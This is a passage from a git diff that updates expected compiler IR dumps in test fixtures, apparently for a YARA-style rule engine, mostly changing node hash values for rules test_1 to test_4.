344: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 345: CONST integer(68) 347: CONST integer(10) - 353: EQ -- hash: 0x3754cd88e1c40e3b - 351: ADD -- hash: 0x5d924813481e5bdf + 353: EQ -- hash: 0x9ee29cb979965475 + 351: ADD -- hash: 0xb2655dc4c5a1cf3c 349: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 350: CONST integer(69) 352: CONST integer(10) - 358: EQ -- hash: 0x237fe6ccb6acd293 - 356: ADD -- hash: 0x64bd2ba5fe331cb + 358: EQ -- hash: 0x8b0db5fd4e7f18cd + 356: ADD -- hash: 0x5b1ee86bd966a528 354: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 355: CONST integer(70) 357: CONST integer(10) - 363: EQ -- hash: 0xfab00108b9596eb - 361: ADD -- hash: 0xaf055d6173a807b6 + 363: EQ -- hash: 0x7738cf412367dd25 + 361: ADD -- hash: 0x3d87312ed2b7b14 359: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 360: CONST integer(71) 362: CONST integer(10) - 368: EQ -- hash: 0xfbd619545c7e5b42 - 366: ADD -- hash: 0x57bee808876cdda2 + 368: EQ -- hash: 0x6363e884f450a17d + 366: ADD -- hash: 0xac91fdba00f050ff 364: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 365: CONST integer(72) 367: CONST integer(10) - 373: EQ -- hash: 0xe801329831671f9a - 371: ADD -- hash: 0x7872af9b31b38e + 373: EQ -- hash: 0x4f8f01c8c93965d5 + 371: ADD -- hash: 0x554b886114b526eb 369: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 370: CONST integer(73) 372: CONST integer(10) - 378: EQ -- hash: 0xd42c4bdc064fe3f2 - 376: ADD -- hash: 0xa931fd56aef68979 + 378: EQ -- hash: 0x3bba1b0c9e222a2d + 376: ADD -- hash: 0xfe0513082879fcd6 374: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 375: CONST integer(74) 377: CONST integer(10) - 383: EQ -- hash: 0xc057651fdb38a84a - 381: ADD -- hash: 0x51eb87fdc2bb5f65 + 383: EQ -- hash: 0x27e53450730aee85 + 381: ADD -- hash: 0xa6be9daf3c3ed2c2 379: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 380: CONST integer(75) 382: CONST integer(10) - 388: EQ -- hash: 0xac827e63ac216ca2 - 386: ADD -- hash: 0xfaa512a4d6803550 + 388: EQ -- hash: 0x14104d9447f3b2dd + 386: ADD -- hash: 0x4f7828565003a8ae 384: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 385: CONST integer(76) 387: CONST integer(10) - 393: EQ -- hash: 0x98ad97a7810a30fa - 391: ADD -- hash: 0xa35e9d4bea450b3c + 393: EQ -- hash: 0x3b66d818dc7735 + 391: ADD -- hash: 0xf831b2fd67c87e99 389: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 390: CONST integer(77) 392: CONST integer(10) - 398: EQ -- hash: 0x84d8b0eb55f2f552 - 396: ADD -- hash: 0x4c1827f2fe09e128 + 398: EQ -- hash: 0xec66801bedc53b8c + 396: ADD -- hash: 0xa0eb3da47b8d5485 394: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 395: CONST integer(78) 397: CONST integer(10) - 403: EQ -- hash: 0x7103ca2f2adbb9aa - 401: ADD -- hash: 0xf4d1b29a11ceb713 + 403: EQ -- hash: 0xd891995fc2adffe4 + 401: ADD -- hash: 0x49a4c84b8f522a71 399: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 400: CONST integer(79) 402: CONST integer(10) - 408: EQ -- hash: 0x5d2ee372ffc47e02 - 406: ADD -- hash: 0x9d8b3d4125938cff + 408: EQ -- hash: 0xc4bcb2a39796c43c + 406: ADD -- hash: 0xf25e52f2a317005c 404: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 405: CONST integer(80) 407: CONST integer(10) - 413: EQ -- hash: 0x4959fcb6d0ad425a - 411: ADD -- hash: 0x4644c7e8395862eb + 413: EQ -- hash: 0xb0e7cbe7687f8894 + 411: ADD -- hash: 0x9b17dd99b6dbd648 409: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 410: CONST integer(81) 412: CONST integer(10) - 418: EQ -- hash: 0x358515faa59606b2 - 416: ADD -- hash: 0xeefe528f4d1d38d6 + 418: EQ -- hash: 0x9d12e52b3d684cec + 416: ADD -- hash: 0x43d16840caa0ac34 414: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 415: CONST integer(82) 417: CONST integer(10) - 423: EQ -- hash: 0x21b02f3e7a7ecb0a - 421: ADD -- hash: 0x97b7dd3660e20ec2 + 423: EQ -- hash: 0x893dfe6f12511144 + 421: ADD -- hash: 0xec8af2e7de65821f 419: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 420: CONST integer(83) 422: CONST integer(10) - 428: EQ -- hash: 0xddb48824f678f62 - 426: ADD -- hash: 0x407167dd74a6e4ae + 428: EQ -- hash: 0x756917b2e739d59c + 426: ADD -- hash: 0x95447d8ef22a580b 424: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 425: CONST integer(84) 427: CONST integer(10) - 433: EQ -- hash: 0xfa0661c6205053b9 - 431: ADD -- hash: 0xe92af284886bba99 + 433: EQ -- hash: 0x619430f6b82299f4 + 431: ADD -- hash: 0x3dfe083605ef2df7 429: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 430: CONST integer(85) 432: CONST integer(10) - 438: EQ -- hash: 0xe6317b09f5391811 - 436: ADD -- hash: 0x91e47d2b9c309085 + 438: EQ -- hash: 0x4dbf4a3a8d0b5e4c + 436: ADD -- hash: 0xe6b792dd19b403e2 434: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 435: CONST integer(86) 437: CONST integer(10) - 443: EQ -- hash: 0xd25c944dca21dc69 - 441: ADD -- hash: 0x3a9e07d2b3f56671 + 443: EQ -- hash: 0x39ea637e61f422a4 + 441: ADD -- hash: 0x8f711d842d78d9ce 439: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 440: CONST integer(87) 442: CONST integer(10) - 448: EQ -- hash: 0xbe87ad919f0aa0c1 - 446: ADD -- hash: 0xe3579279c7ba3c5c + 448: EQ -- hash: 0x26157cc236dce6fc + 446: ADD -- hash: 0x382aa82b413dafba 444: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 445: CONST integer(88) 447: CONST integer(10) - 453: EQ -- hash: 0xaab2c6d573f36519 - 451: ADD -- hash: 0x8c111d20db7f1248 + 453: EQ -- hash: 0x124096060bc5ab54 + 451: ADD -- hash: 0xe0e432d2550285a5 449: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 450: CONST integer(89) 452: CONST integer(10) - 458: EQ -- hash: 0x96dde01944dc2971 - 456: ADD -- hash: 0x34caa7c7ef43e834 + 458: EQ -- hash: 0xfe6baf49dcae6fab + 456: ADD -- hash: 0x899dbd7968c75b91 454: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 455: CONST integer(90) 457: CONST integer(10) - 463: EQ -- hash: 0x8308f95d19c4edc9 - 461: ADD -- hash: 0xdd84326f0308be1f + 463: EQ -- hash: 0xea96c88db1973403 + 461: ADD -- hash: 0x325748207c8c317d 459: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 460: CONST integer(91) 462: CONST integer(10) - 468: EQ -- hash: 0x6f3412a0eeadb221 - 466: ADD -- hash: 0x863dbd1616cd940b + 468: EQ -- hash: 0xd6c1e1d1867ff85b + 466: ADD -- hash: 0xdb10d2c790510768 464: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 465: CONST integer(92) 467: CONST integer(10) - 473: EQ -- hash: 0x5b5f2be4c3967679 - 471: ADD -- hash: 0x2ef747bd2a9269f7 + 473: EQ -- hash: 0xc2ecfb155b68bcb3 + 471: ADD -- hash: 0x83ca5d6ea415dd54 469: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 470: CONST integer(93) 472: CONST integer(10) - 478: EQ -- hash: 0x478a4528947f3ad1 - 476: ADD -- hash: 0xd7b0d2643e573fe2 + 478: EQ -- hash: 0xaf1814592c51810b + 476: ADD -- hash: 0x2c83e815bbdab340 474: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 475: CONST integer(94) 477: CONST integer(10) - 483: EQ -- hash: 0x33b55e6c6967ff29 - 481: ADD -- hash: 0x806a5d0b521c15ce + 483: EQ -- hash: 0x9b432d9d013a4563 + 481: ADD -- hash: 0xd53d72bccf9f892b 479: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 480: CONST integer(95) 482: CONST integer(10) - 488: EQ -- hash: 0x1fe077b03e50c381 - 486: ADD -- hash: 0x2923e7b265e0ebba + 488: EQ -- hash: 0x876e46e0d62309bb + 486: ADD -- hash: 0x7df6fd63e3645f17 484: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 485: CONST integer(96) 487: CONST integer(10) - 493: EQ -- hash: 0xc0b90f4133987d9 - 491: ADD -- hash: 0xd1dd725979a5c1a5 + 493: EQ -- hash: 0x73996024ab0bce13 + 491: ADD -- hash: 0x26b0880af7293503 489: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 490: CONST integer(97) 492: CONST integer(10) - 498: EQ -- hash: 0xf836aa37e4224c30 - 496: ADD -- hash: 0x7a96fd008d6a9791 + 498: EQ -- hash: 0x5fc479687ff4926b + 496: ADD -- hash: 0xcf6a12b20aee0aee 494: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 495: CONST integer(98) 497: CONST integer(10) - 503: EQ -- hash: 0xe461c37bb90b1088 - 501: ADD -- hash: 0x235087a7a12f6d7d + 503: EQ -- hash: 0x4bef92ac50dd56c3 + 501: ADD -- hash: 0x78239d591eb2e0da 499: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 500: CONST integer(99) 502: CONST integer(10) - 508: EQ -- hash: 0xd08cdcbf8df3d4e0 - 506: ADD -- hash: 0xcc0a124eb4f44368 + 508: EQ -- hash: 0x381aabf025c61b1b + 506: ADD -- hash: 0x20dd28003277b6c6 504: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 505: CONST integer(100) 507: CONST integer(10) - 513: EQ -- hash: 0xbcb7f60362dc9938 - 511: ADD -- hash: 0x74c39cf5c8b91954 + 513: EQ -- hash: 0x2445c533faaedf73 + 511: ADD -- hash: 0xc996b2a7463c8cb1 509: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 510: CONST integer(101) 512: CONST integer(10) - 518: EQ -- hash: 0xa8e30f4737c55d90 - 516: ADD -- hash: 0x1d7d279cdc7def40 + 518: EQ -- hash: 0x1070de77cf97a3cb + 516: ADD -- hash: 0x72503d4e5a01629d 514: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 515: CONST integer(102) 517: CONST integer(10) - 523: EQ -- hash: 0x950e288b08ae21e8 - 521: ADD -- hash: 0xc636b243f042c52b + 523: EQ -- hash: 0xfc9bf7bba0806822 + 521: ADD -- hash: 0x1b09c7f56dc63889 519: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 520: CONST integer(103) 522: CONST integer(10) - 528: EQ -- hash: 0x813941cedd96e640 - 526: ADD -- hash: 0x6ef03ceb04079b17 + 528: EQ -- hash: 0xe8c710ff75692c7a + 526: ADD -- hash: 0xc3c3529c818b0e74 524: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 525: CONST integer(104) 527: CONST integer(10) diff --git a/lib/src/compiler/ir/tests/testdata/14.ir b/lib/src/compiler/ir/tests/testdata/14.ir index 1240471e8..1a3cf8da5 100644 --- a/lib/src/compiler/ir/tests/testdata/14.ir +++ b/lib/src/compiler/ir/tests/testdata/14.ir @@ -1,5 +1,5 @@ RULE test_1 - 20: FOR_IN -- hash: 0x72bf379da36225e5 + 20: FOR_IN -- hash: 0x298ed96d3c32feb2 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,7 +7,7 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(5) - 19: FOR_IN -- hash: 0xdaad33cf0baf0a64 + 19: FOR_IN -- hash: 0x72fb54fdaef5fe3f n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } @@ -15,7 +15,7 @@ RULE test_1 item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(1) 3: CONST integer(5) - 18: FOR_IN -- hash: 0x497c3d59939269bb + 18: FOR_IN -- hash: 0x86912dc4de1c5873 n: Var { frame_id: 3, ty: integer, index: 14 } i: Var { frame_id: 3, ty: integer, index: 15 } max_count: Var { frame_id: 3, ty: integer, index: 16 } @@ -23,23 +23,23 @@ RULE test_1 item: Var { frame_id: 3, ty: unknown, index: 18 } 4: CONST integer(1) 5: CONST integer(5) - 17: OR -- hash: 0x12919697ba229f76 - 10: GT -- hash: 0xc0fd295a9fa39fa9 - 8: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 17: OR -- hash: 0x2902dc61cc1b01f0 + 10: GT -- hash: 0x44114a185b4bba23 + 8: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 7: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } 9: CONST integer(0) - 13: EQ -- hash: 0xca7652cced0142e6 + 13: EQ -- hash: 0x1f49687e6a84b644 11: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 12: CONST integer(3) - 16: EQ -- hash: 0xdf5816c82bc02f3 + 16: EQ -- hash: 0x62c8971dfc3f7650 14: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } 15: CONST integer(4) RULE test_2 - 13: WITH -- hash: 0x862ac2b588220f59 + 13: WITH -- hash: 0x4d5a8cf2a07c8b73 0: CONST integer(10) - 12: FOR_IN -- hash: 0xfb8fa06e0ec768d9 + 12: FOR_IN -- hash: 0x3c5d99efd82dacb9 n: Var { frame_id: 2, ty: integer, index: 1 } i: Var { frame_id: 2, ty: integer, index: 2 } max_count: Var { frame_id: 2, ty: integer, index: 3 } @@ -47,43 +47,43 @@ RULE test_2 item: Var { frame_id: 2, ty: unknown, index: 5 } 1: CONST integer(1) 2: CONST integer(5) - 11: AND -- hash: 0xf3506d7cd428c254 - 7: EQ -- hash: 0x8d45f5fbc7dba69a + 11: AND -- hash: 0xa47034108ae1376d + 7: EQ -- hash: 0x34cb9361bebd3de1 5: CONST integer(11) 6: CONST integer(11) - 10: GT -- hash: 0x7fb3c7b6e648fdb1 + 10: GT -- hash: 0xd486dd6863cc710e 8: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 6 }, type_value: integer(unknown) } 9: CONST integer(0) RULE test_3 - 19: FOR_IN -- hash: 0x9f80cf2da772b9f9 + 19: FOR_IN -- hash: 0x8f01f21dfaa06ea7 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) - 3: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 3: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 1: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 2: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } - 18: AND -- hash: 0x4044f60b2b21d46 - 12: EQ -- hash: 0xd80bb6889bf5d23f - 10: FIELD_ACCESS -- hash: 0xf6f8e9b23f513dd1 - 8: LOOKUP -- hash: 0x7e699c8d78b13901 - 6: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 18: AND -- hash: 0x93415c6f898e7788 + 12: EQ -- hash: 0xc90292fd57ddf7a6 + 10: FIELD_ACCESS -- hash: 0xfcd14f011c99a59d + 8: LOOKUP -- hash: 0x292cb96218de05db + 6: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 5: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 7: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 9: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 11: CONST string(".text") - 17: GT -- hash: 0xc0fd295a9fa39fa9 - 15: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 17: GT -- hash: 0x44114a185b4bba23 + 15: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 13: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 14: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } 16: CONST integer(0) RULE test_4 - 532: FOR_IN -- hash: 0x9955d895482ac2dd + 532: FOR_IN -- hash: 0x19d73251f0bd7fd9 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -91,7 +91,7 @@ RULE test_4 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(5) - 531: FOR_IN -- hash: 0x39d3fce9735f69cd + 531: FOR_IN -- hash: 0x22167972e12a645e n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } @@ -99,529 +99,529 @@ RULE test_4 item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(1) 3: CONST integer(5) - 530: AND -- hash: 0xa6c67725bbf1ce09 - 8: EQ -- hash: 0x8fb6fe40bf072288 - 6: ADD -- hash: 0xe38fe90ae410b35a + 530: AND -- hash: 0x5124c02492f04886 + 8: EQ -- hash: 0xf744cd7156d968c2 + 6: ADD -- hash: 0x3862febc619426b8 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 5: CONST integer(0) 7: CONST integer(10) - 13: EQ -- hash: 0x7be2178493efe6e0 - 11: ADD -- hash: 0x8c4973b1fbd58946 + 13: EQ -- hash: 0xe36fe6b52bc22d1a + 11: ADD -- hash: 0xe11c89637558fca3 9: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 10: CONST integer(1) 12: CONST integer(10) - 18: EQ -- hash: 0x680d30c864d8ab38 - 16: ADD -- hash: 0x3502fe590f9a5f32 + 18: EQ -- hash: 0xcf9afff8fcaaf172 + 16: ADD -- hash: 0x89d6140a891dd28f 14: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 15: CONST integer(2) 17: CONST integer(10) - 23: EQ -- hash: 0x54384a0c39c16f90 - 21: ADD -- hash: 0xddbc8900235f351d + 23: EQ -- hash: 0xbbc6193cd193b5ca + 21: ADD -- hash: 0x328f9eb19ce2a87b 19: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 20: CONST integer(3) 22: CONST integer(10) - 28: EQ -- hash: 0x406363500eaa33e8 - 26: ADD -- hash: 0x867613a737240b09 + 28: EQ -- hash: 0xa7f13280a67c7a22 + 26: ADD -- hash: 0xdb492958b0a77e66 24: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 25: CONST integer(4) 27: CONST integer(10) - 33: EQ -- hash: 0x2c8e7c93e392f840 - 31: ADD -- hash: 0x2f2f9e4e4ae8e0f5 + 33: EQ -- hash: 0x941c4bc47b653e7a + 31: ADD -- hash: 0x8402b3ffc46c5452 29: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 30: CONST integer(5) 32: CONST integer(10) - 38: EQ -- hash: 0x18b995d7b47bbc98 - 36: ADD -- hash: 0xd7e928f55eadb6e0 + 38: EQ -- hash: 0x804765084c4e02d2 + 36: ADD -- hash: 0x2cbc3ea6d8312a3e 34: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 35: CONST integer(6) 37: CONST integer(10) - 43: EQ -- hash: 0x4e4af1b896480f0 - 41: ADD -- hash: 0x80a2b39c72728ccc + 43: EQ -- hash: 0x6c727e4c2136c72a + 41: ADD -- hash: 0xd575c94deff60029 39: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 40: CONST integer(7) 42: CONST integer(10) - 48: EQ -- hash: 0xf10fc85f5e4d4547 - 46: ADD -- hash: 0x295c3e43863762b8 + 48: EQ -- hash: 0x589d978ff61f8b82 + 46: ADD -- hash: 0x7e2f53f503bad615 44: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 45: CONST integer(8) 47: CONST integer(10) - 53: EQ -- hash: 0xdd3ae1a33336099f - 51: ADD -- hash: 0xd215c8ea99fc38a3 + 53: EQ -- hash: 0x44c8b0d3cb084fda + 51: ADD -- hash: 0x26e8de9c177fac01 49: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 50: CONST integer(9) 52: CONST integer(10) - 58: EQ -- hash: 0xc965fae7041ecdf7 - 56: ADD -- hash: 0x7acf5391adc10e8f + 58: EQ -- hash: 0x30f3ca179ff11432 + 56: ADD -- hash: 0xcfa269432b4481ec 54: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 55: CONST integer(10) 57: CONST integer(10) - 63: EQ -- hash: 0xb591142ad907924f - 61: ADD -- hash: 0x2388de38c185e47b + 63: EQ -- hash: 0x1d1ee35b70d9d88a + 61: ADD -- hash: 0x785bf3ea3f0957d8 59: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 60: CONST integer(11) 62: CONST integer(10) - 68: EQ -- hash: 0xa1bc2d6eadf056a7 - 66: ADD -- hash: 0xcc4268dfd54aba66 + 68: EQ -- hash: 0x949fc9f45c29ce2 + 66: ADD -- hash: 0x21157e9152ce2dc4 64: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 65: CONST integer(12) 67: CONST integer(10) - 73: EQ -- hash: 0x8de746b282d91aff - 71: ADD -- hash: 0x74fbf386e90f9052 + 73: EQ -- hash: 0xf57515e31aab6139 + 71: ADD -- hash: 0xc9cf0938669303af 69: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 70: CONST integer(13) 72: CONST integer(10) - 78: EQ -- hash: 0x7a125ff657c1df57 - 76: ADD -- hash: 0x1db57e2dfcd4663e + 78: EQ -- hash: 0xe1a02f26ef942591 + 76: ADD -- hash: 0x728893df7a57d99b 74: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 75: CONST integer(14) 77: CONST integer(10) - 83: EQ -- hash: 0x663d793a28aaa3af - 81: ADD -- hash: 0xc66f08d510993c29 + 83: EQ -- hash: 0xcdcb486ac07ce9e9 + 81: ADD -- hash: 0x1b421e868e1caf87 79: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 80: CONST integer(15) 82: CONST integer(10) - 88: EQ -- hash: 0x5268927dfd936807 - 86: ADD -- hash: 0x6f28937c245e1215 + 88: EQ -- hash: 0xb9f661ae9565ae41 + 86: ADD -- hash: 0xc3fba92da1e18572 84: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 85: CONST integer(16) 87: CONST integer(10) - 93: EQ -- hash: 0x3e93abc1d27c2c5f - 91: ADD -- hash: 0x17e21e233822e801 + 93: EQ -- hash: 0xa6217af26a4e7299 + 91: ADD -- hash: 0x6cb533d4b5a65b5e 89: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 90: CONST integer(17) 92: CONST integer(10) - 98: EQ -- hash: 0x2abec505a764f0b7 - 96: ADD -- hash: 0xc09ba8ca4fe7bdec + 98: EQ -- hash: 0x924c94363f3736f1 + 96: ADD -- hash: 0x156ebe7bc96b314a 94: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 95: CONST integer(18) 97: CONST integer(10) - 103: EQ -- hash: 0x16e9de49784db50f - 101: ADD -- hash: 0x6955337163ac93d8 + 103: EQ -- hash: 0x7e77ad7a101ffb49 + 101: ADD -- hash: 0xbe284922dd300735 99: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 100: CONST integer(19) 102: CONST integer(10) - 108: EQ -- hash: 0x314f78d4d367967 - 106: ADD -- hash: 0x120ebe18777169c4 + 108: EQ -- hash: 0x6aa2c6bde508bfa1 + 106: ADD -- hash: 0x66e1d3c9f0f4dd21 104: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 105: CONST integer(20) 107: CONST integer(10) - 113: EQ -- hash: 0xef4010d1221f3dbe - 111: ADD -- hash: 0xbac848bf8b363faf + 113: EQ -- hash: 0x56cde001b9f183f9 + 111: ADD -- hash: 0xf9b5e7104b9b30d 109: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 110: CONST integer(21) 112: CONST integer(10) - 118: EQ -- hash: 0xdb6b2a14f7080216 - 116: ADD -- hash: 0x6381d3669efb159b + 118: EQ -- hash: 0x42f8f9458eda4851 + 116: ADD -- hash: 0xb854e918187e88f8 114: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 115: CONST integer(22) 117: CONST integer(10) - 123: EQ -- hash: 0xc7964358cbf0c66e - 121: ADD -- hash: 0xc3b5e0db2bfeb87 + 123: EQ -- hash: 0x2f24128963c30ca9 + 121: ADD -- hash: 0x610e73bf2c435ee4 119: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 120: CONST integer(23) 122: CONST integer(10) - 128: EQ -- hash: 0xb3c15c9c9cd98ac6 - 126: ADD -- hash: 0xb4f4e8b4c684c172 + 128: EQ -- hash: 0x1b4f2bcd34abd101 + 126: ADD -- hash: 0x9c7fe66400834d0 124: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 125: CONST integer(24) 127: CONST integer(10) - 133: EQ -- hash: 0x9fec75e071c24f1e - 131: ADD -- hash: 0x5dae735bda49975e + 133: EQ -- hash: 0x77a451109949559 + 131: ADD -- hash: 0xb281890d57cd0abb 129: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 130: CONST integer(25) 132: CONST integer(10) - 138: EQ -- hash: 0x8c178f2446ab1376 - 136: ADD -- hash: 0x667fe02ee0e6d4a + 138: EQ -- hash: 0xf3a55e54de7d59b0 + 136: ADD -- hash: 0x5b3b13b46b91e0a7 134: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 135: CONST integer(26) 137: CONST integer(10) - 143: EQ -- hash: 0x7842a8681b93d7ce - 141: ADD -- hash: 0xaf2188aa01d34335 + 143: EQ -- hash: 0xdfd07798b3661e08 + 141: ADD -- hash: 0x3f49e5b7f56b693 139: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 140: CONST integer(27) 142: CONST integer(10) - 148: EQ -- hash: 0x646dc1abec7c9c26 - 146: ADD -- hash: 0x57db135115981921 + 148: EQ -- hash: 0xcbfb90dc844ee260 + 146: ADD -- hash: 0xacae2902931b8c7e 144: SYMBOL Var { var: Var { frame_id: 1, 